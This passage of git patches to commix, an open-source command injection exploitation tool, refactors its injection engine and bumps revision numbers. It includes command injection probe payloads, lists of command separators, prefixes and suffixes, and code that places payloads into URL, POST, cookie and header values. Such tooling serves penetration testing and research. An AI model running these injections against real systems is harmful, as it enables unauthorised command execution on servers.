b/src/utils/settings.py index 19b9b10b0d..b9fbcfd8bb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -268,8 +268,8 @@ def sys_argv_errors(): RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) BASIC_STRING = str(RAND_A) + "+" + str(RAND_B) -BASIC_COMMAND_INJECTION_PAYLOADS = [_urllib.parse.quote_plus(";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))"), - _urllib.parse.quote_plus("|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")") +BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))", + "|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")" ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) IDENTIFIED_COMMAND_INJECTION = False @@ -388,22 +388,22 @@ def sys_argv_errors(): # The command injection separators. SEPARATORS = [] -SPECIAL_SEPARATORS = ["%0a", "%0d%0a","%1a"] -DEFAULT_SEPARATORS = ["", ";", "&", "&&", "|", "||"] +DEFAULT_SEPARATORS = [";", "&", "|"] +SPECIAL_SEPARATORS = ["&&", "||", "%0a", "%0d%0a", "%1a"] SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS -SEPARATORS_LVL3 = SEPARATORS_LVL2 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS + [_urllib.parse.quote_plus(x).lower() for x in DEFAULT_SEPARATORS] +SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 # The command injection prefixes. PREFIXES = [] PREFIXES_LVL1 = [""] -PREFIXES_LVL2 = PREFIXES_LVL1 + [" ", "'", "\"", "&", "|", "'&"] -PREFIXES_LVL3 = PREFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in PREFIXES_LVL2] +PREFIXES_LVL2 = SEPARATORS_LVL1 +PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2 # The command injection suffixes. SUFFIXES = [] -SUFFIXES_LVL1 = [""] -SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'", "\"", "&&", "|", "||", " #", "//", "\\\\", "&'"] -SUFFIXES_LVL3 = SUFFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in SUFFIXES_LVL1] +SUFFIXES_LVL1 = DEFAULT_SEPARATORS +SUFFIXES_LVL2 = SEPARATORS_LVL1 +SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2 # Bad combination of prefix and separator JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"] From 46ca94f7166831bf765ab0142a5dea8628a827ae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 27 Mar 2022 09:09:37 +0300 Subject: [PATCH 091/560] Minor update --- src/core/injections/controller/controller.py | 23 +++++++++----------- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8cb4a79e83..6014fd7931 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -91,7 +91,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = payload + menu.options.suffix _ = _ + 1 if not inject_http_headers: - payload = _urllib.parse.quote_plus(payload) + payload = _urllib.parse.quote(payload) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -122,10 +122,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, print(settings.print_bold_info_msg(info_msg)) break - if not settings.IDENTIFIED_COMMAND_INJECTION: - warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) - settings.CLASSIC_STATE = False return url @@ -136,7 +132,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, """ Basic heuristic checks for code injection warnings """ -def code_injections_heuristic_basic(url, http_request_method): +def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" @@ -177,6 +173,8 @@ def code_injections_heuristic_basic(url, http_request_method): request = _urllib.request.Request(tmp_url, data) if cookie: request.add_header(settings.COOKIE, cookie) + if inject_http_headers: + request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -192,7 +190,7 @@ def code_injections_heuristic_basic(url, http_request_method): settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) detection shows that target might be injectable via " + technique + "." + info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -282,7 +280,6 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) - # Check if it's exploitable via time-based command injection technique. def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "blind OS command injection" @@ -319,7 +316,6 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): - # Skipping basic heuristic detection procedure (regarding specific HTTP headers). inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): @@ -358,14 +354,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if not settings.LOAD_SESSION: if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings - if not inject_http_headers: - url = code_injections_heuristic_basic(url, http_request_method) + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: if not menu.options.batch: @@ -387,6 +380,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time print(settings.print_error_msg(err_msg)) pass + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) + info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" diff --git a/src/utils/settings.py b/src/utils/settings.py index b9fbcfd8bb..68672e62cd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 8b144860026c496ad10a5fc11bd306684cec484b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 28 Mar 2022 09:30:49 +0300 Subject: [PATCH 092/560] Minor update for (https://github.com/commixproject/commix/commit/e46594b067a44c7af1d26956ed040e3414444932) --- src/core/injections/controller/controller.py | 9 +++++---- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6014fd7931..7dc76d635e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -85,13 +85,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, print(settings.print_debug_msg(debug_msg)) _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: + _ = _ + 1 + if not inject_http_headers: + payload = _urllib.parse.quote(payload) if menu.options.prefix: payload = menu.options.prefix + payload if menu.options.suffix: payload = payload + menu.options.suffix - _ = _ + 1 - if not inject_http_headers: - payload = _urllib.parse.quote(payload) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -416,7 +416,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time classic_command_injection_technique(url, timesec, filename, http_request_method) else: classic_command_injection_technique(url, timesec, filename, http_request_method) - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + if not settings.IDENTIFIED_COMMAND_INJECTION: + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) diff --git a/src/utils/settings.py b/src/utils/settings.py index 68672e62cd..06db437aff 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 02e00e40a00aecb80bfbefec0a19c160f9dbd270 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 29 Mar 2022 07:36:33 +0300 Subject: [PATCH 093/560] Minor update regarding hex encoded characters recognition --- src/utils/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 06db437aff..a5bbe6531a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -845,7 +845,7 @@ def sys_argv_errors(): BASE64_RECOGNITION_REGEX = r'^[A-Za-z0-9+/]+[=]{0,2}$' # Hex encoded characters recognition -HEX_RECOGNITION_REGEX = r'^[0-9a-f]+' +HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$' # GET parameters recognition GET_PARAMETERS_REGEX = r"(.*?)\?(.+)" From 9e5bab98992b2f60f4b3f289ee7297e956b29fb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 30 Mar 2022 07:32:43 +0300 Subject: [PATCH 094/560] Minor update --- src/core/injections/controller/controller.py | 6 ++---- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 7dc76d635e..20e7b58c33 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -88,10 +88,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = _ + 1 if not inject_http_headers: payload = _urllib.parse.quote(payload) - if menu.options.prefix: - payload = menu.options.prefix + payload - if menu.options.suffix: - payload = payload + menu.options.suffix + payload = parameters.prefixes(payload, prefix="") + payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) diff --git a/src/utils/settings.py b/src/utils/settings.py index a5bbe6531a..dd35c3d083 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0d66a00d8721715198387f6e8fb3506b44a42b77 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 31 Mar 2022 08:31:19 +0300 Subject: [PATCH 095/560] Minor update regarding testable parameter(s) --- .../blind/techniques/time_based/tb_injector.py | 16 ++++++++-------- src/core/injections/controller/controller.py | 12 ++++++------ .../techniques/classic/cb_injector.py | 16 ++++++++-------- .../techniques/eval_based/eb_injector.py | 16 ++++++++-------- .../techniques/file_based/fb_injector.py | 16 ++++++++-------- .../techniques/tempfile_based/tfb_injector.py | 16 ++++++++-------- src/core/requests/parameters.py | 11 +++++++---- src/core/requests/requests.py | 2 +- src/utils/settings.py | 4 +++- 9 files changed, 57 insertions(+), 52 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index bebfa4c803..06b0d21f60 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -49,7 +49,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -62,15 +62,15 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -99,7 +99,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined method is POST. @@ -113,15 +113,15 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_POST_param(parameter, url) # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 20e7b58c33..ef5fae6c6e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -97,12 +97,12 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, cookie = None tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.INJECT_TAG, payload) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(tmp_url, data) if cookie: request.add_header(settings.COOKIE, cookie) @@ -162,12 +162,12 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t cookie = None tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.INJECT_TAG, payload) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(tmp_url, data) if cookie: request.add_header(settings.COOKIE, cookie) diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 371f737be6..e12d3d9e62 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -52,7 +52,7 @@ def injection_test(payload, http_request_method, url): payload = payload.replace(" ","%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined extra headers. @@ -70,15 +70,15 @@ def injection_test(payload, http_request_method, url): parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -202,7 +202,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -221,15 +221,15 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 538ed8863b..20884d3b98 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -47,7 +47,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined extra headers. @@ -65,15 +65,15 @@ def injection_test(payload, http_request_method, url): parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -190,7 +190,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -209,15 +209,15 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 5a1edf8e47..a823fe5dde 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -54,7 +54,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined extra headers. @@ -75,15 +75,15 @@ def injection_test(payload, http_request_method, url): parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -193,7 +193,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(" ","%20") - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) # Check if defined extra headers. @@ -212,15 +212,15 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht vuln_parameter = parameters.vuln_POST_param(parameter, url) # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 0294a98a3c..5888383d58 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -51,7 +51,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -66,15 +66,15 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, 